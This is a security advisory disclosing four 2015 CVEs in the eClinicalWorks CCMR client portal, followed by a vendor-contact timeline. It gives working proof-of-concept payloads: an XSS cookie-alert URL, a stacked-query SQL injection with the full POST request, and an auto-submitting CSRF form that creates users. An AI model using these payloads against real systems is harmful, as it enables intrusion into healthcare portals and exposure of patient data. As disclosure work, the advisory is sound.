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eClinicalWorks (CCMR) - Multiple Vulnerabilities

eClinicalWorks (CCMR) - Multiple Vulnerabilities

Publié le 2016-02-02

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# Title: eClinicalWorks (CCMR) - Multiple Vulnerabilities

# Vendor: https://www.eclinicalworks.com

# Product: eClinicalWorks Population Health (CCMR) Client Portal Software 

# URL: https://www.eclinicalworks.com/products-services/population-health-ccmr/

# Credit: Jerold Hoong



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# CVE-2015-4591 CROSS-SITE SCRIPTING

Cross-site scripting (XSS) vulnerability in login.jsp in eClinicalWorks Population

Health (CCMR) Client Portal Software allows remote authenticated users to inject

arbitrary javascript via the strMessage parameter.



https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/login.jsp?strMessage=

%3Cimg%20src=/%20onerror=%22alert%28document.cookie%29%22/%3E



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# CVE-2015-4592 SQL INJECTION

SQL injection vulnerability in portalUserService.jsp in eClinicalWorks Population

Health (CCMR) Client Portal Software allows remote authenticated users to inject

arbitrary malicious database commands as part of user input.



Parameter: uemail (POST PARAMETER)

Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=

&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=



POST /mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp HTTP/1.1

Host: 127.0.0.1:443

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/dashBoard.jsp

Content-Length: 186

[SNIP] ...

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache

[SNIP] ...



action=updatePersonalInfo&ufname=john&ulname=doe&upaddress=&upcity=&upstate=

&zipcode=&uemail=john.doe@test.com';WAITFOR DELAY '0:0:5'--&upphone=0&umobileno=



-------------------------------------



# CVE-2015-4593 CROSS-SITE REQUEST FORGERY

Cross-site request forgery (CSRF) vulnerability in portalUserService.jsp in eClinicalWorks 

Client Portal allows remote attackers to hijack the authentication of content administrators

for requests that could lead to the creation, modification and deletion of users, appointments

and employees.



# ADDING OF USER

<html>

  <body>

    <form action="https://127.0.0.1/mobiledoc/jsp/ccmr/clientPortal/admin/service/portalUserService.jsp" method="POST">

      <input type="hidden" name="action" value="add" />

      <input type="hidden" name="uid" value="0" />

      <input type="hidden" name="createdOver" value="1" />

      <input type="hidden" name="ufname" value="John" />

      <input type="hidden" name="ulname" value="Doe" />

      <input type="hidden" name="uminitial" value="" />

      <input type="hidden" name="selUserType" value="1" />

      <input type="hidden" name="status" value="0" />

      <input type="hidden" name="upaddress" value="" />

      <input type="hidden" name="upcity" value="" />

      <input type="hidden" name="upstate" value="" />

      <input type="hidden" name="zipcode" value="" />

      <input type="hidden" name="uemail" value="johndoe@test.com.de" />

      <input type="hidden" name="upphone" value="98999299" />

      <input type="hidden" name="umobileno" value="" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>



-------------------------------------



# CVE-2015-4594 SESSION FIXATION

The web application is vulnerable to session fixation attacks. When authenticating a user

the application does not assign a new session ID, making it possible to use an existent

session ID.



-------------------------------------



# TIMELINE

– 16/06/2015: Vulnerability found

– 16/06/2015: Vendor informed

– 16/06/2015: Request for CVE IDs

- 16/06/2015: MITRE issued CVE numbers

– 16/06/2015: Vendor responded requesting more information on support contract etc

- 21/06/2015: No support contract, vendor does not open case

- 22/06/2015: Requested update from vendor, no response

- 01/07/2015: Contacted vendor again, vendor requested for support contract again

- 02/07/2015: No support contract, no response from vendor

– 31/01/2016: Public disclosure
Voir sur GitHub